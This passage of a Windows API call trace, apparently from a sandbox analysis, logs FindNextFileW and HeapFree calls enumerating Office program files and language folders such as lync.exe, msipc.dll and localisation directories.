ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b27715c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="LogoImages", cAlternateFileName="LOGOIM~1")) returned 1 [0066.855] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x435b018 | out: hHeap=0x6a0000) returned 1 [0066.855] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc7c11d2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xdd0d91a6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xde4d0d64, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1979a48, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="lync.exe", cAlternateFileName="")) returned 1 [0066.865] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x435b018 | out: hHeap=0x6a0000) returned 1 [0066.865] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x38b7c4a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14c48, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MeetingJoinAxOC.dll", cAlternateFileName="MEETIN~1.DLL")) returned 1 [0066.870] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0066.870] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6dea551, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6dea551, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6dea551, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bg", cAlternateFileName="")) returned 1 [0066.871] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0066.871] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56853a0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56853a0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56853a0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ca", cAlternateFileName="")) returned 1 [0066.871] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0066.871] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf803d796, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf803d796, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf803d796, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cs", cAlternateFileName="")) returned 1 [0066.872] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0066.872] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6165f55, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6165f55, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6165f55, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="da", cAlternateFileName="")) returned 1 [0066.872] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0066.873] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6224b6a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6224b6a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="de", cAlternateFileName="")) returned 1 [0066.873] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0066.873] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff0bc27, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeff0bc27, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeff31e88, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="el", cAlternateFileName="")) returned 1 [0066.873] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0066.873] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5a3de35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5a3de35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5a3de35, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-us", cAlternateFileName="")) returned 1 [0066.875] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0066.875] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfcb7dd00, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfcb7dd00, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfcb7dd00, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="es", cAlternateFileName="")) returned 1 [0066.875] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0066.876] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fd9ab, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x7fd9ab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7fd9ab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="et", cAlternateFileName="")) returned 1 [0066.876] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0066.876] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37869c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37869c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37869c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eu", cAlternateFileName="")) returned 1 [0066.877] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0066.877] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fi", cAlternateFileName="")) returned 1 [0066.877] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0066.877] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fd9ab, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x7fd9ab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7fd9ab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr", cAlternateFileName="")) returned 1 [0066.878] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0066.878] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa178468, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa178468, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa178468, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="gl", cAlternateFileName="")) returned 1 [0066.879] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0066.879] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf618b1a4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf618b1a4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf618b1a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="he", cAlternateFileName="")) returned 1 [0066.880] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0066.880] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56853a0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56853a0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56853a0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hi", cAlternateFileName="")) returned 1 [0066.880] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0066.881] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf480feb5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf480feb5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf480feb5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hr", cAlternateFileName="")) returned 1 [0066.882] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0066.882] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4646280, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4646280, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4646280, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hu", cAlternateFileName="")) returned 1 [0066.882] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0066.882] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x63a229e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x63a229e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x63a229e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="id", cAlternateFileName="")) returned 1 [0066.883] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0066.883] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x18ae17b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x18ae17b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18ae17b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10fcc8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ipcsecproc.dll", cAlternateFileName="IPCSEC~1.DLL")) returned 1 [0067.366] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0067.366] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6aef645, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6aef645, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6aef645, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ja", cAlternateFileName="")) returned 1 [0067.366] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0067.366] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6781ff8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6781ff8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67a8250, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="kk", cAlternateFileName="")) returned 1 [0067.366] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0067.366] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f9c329, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5f9c329, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5f9c329, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ko", cAlternateFileName="")) returned 1 [0067.366] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0067.366] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1bce2f5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1bce2f5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1bf45a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="lt", cAlternateFileName="")) returned 1 [0067.367] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0067.367] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf13037fa, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf13037fa, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf13037fa, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="lv", cAlternateFileName="")) returned 1 [0067.367] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0067.367] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc21a8ad, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc21a8ad, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc21a8ad, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ms", cAlternateFileName="")) returned 1 [0067.367] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0067.367] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0dcc568, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0dcc568, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1b3ce622, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f9f00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msipc.dll", cAlternateFileName="")) returned 1 [0067.368] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0067.368] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xffe01c35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffe01c35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffe01c35, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="no", cAlternateFileName="")) returned 1 [0067.368] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0067.368] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x68ff786, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x68ff786, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x69259a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pl", cAlternateFileName="")) returned 1 [0067.368] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0067.368] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc2b31ff, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc2b31ff, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2b31ff, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt", cAlternateFileName="")) returned 1 [0067.369] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0067.369] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x386b77a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x386b77a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x386b77a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0067.369] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0067.369] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4903b8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4903b8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4903b8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ro", cAlternateFileName="")) returned 1 [0067.369] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0067.369] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86a6c5d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x86a6c5d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x86a6c5d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ru", cAlternateFileName="")) returned 1 [0067.369] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0067.369] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x67a8250, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x67a8250, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67a8250, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sk", cAlternateFileName="")) returned 1 [0067.370] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0067.370] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a7cf13, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a7cf13, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a7cf13, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl", cAlternateFileName="")) returned 1 [0067.370] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0067.370] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1565dae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1565dae, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1565dae, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sr-Cyrl-BA", cAlternateFileName="SR-CYR~1")) returned 1 [0067.370] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0067.370] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf443017d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf443017d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf44563cd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sr-Cyrl-CS", cAlternateFileName="SR-CYR~2")) returned 1 [0067.371] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0067.371] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1ae94c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1ae94c9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1 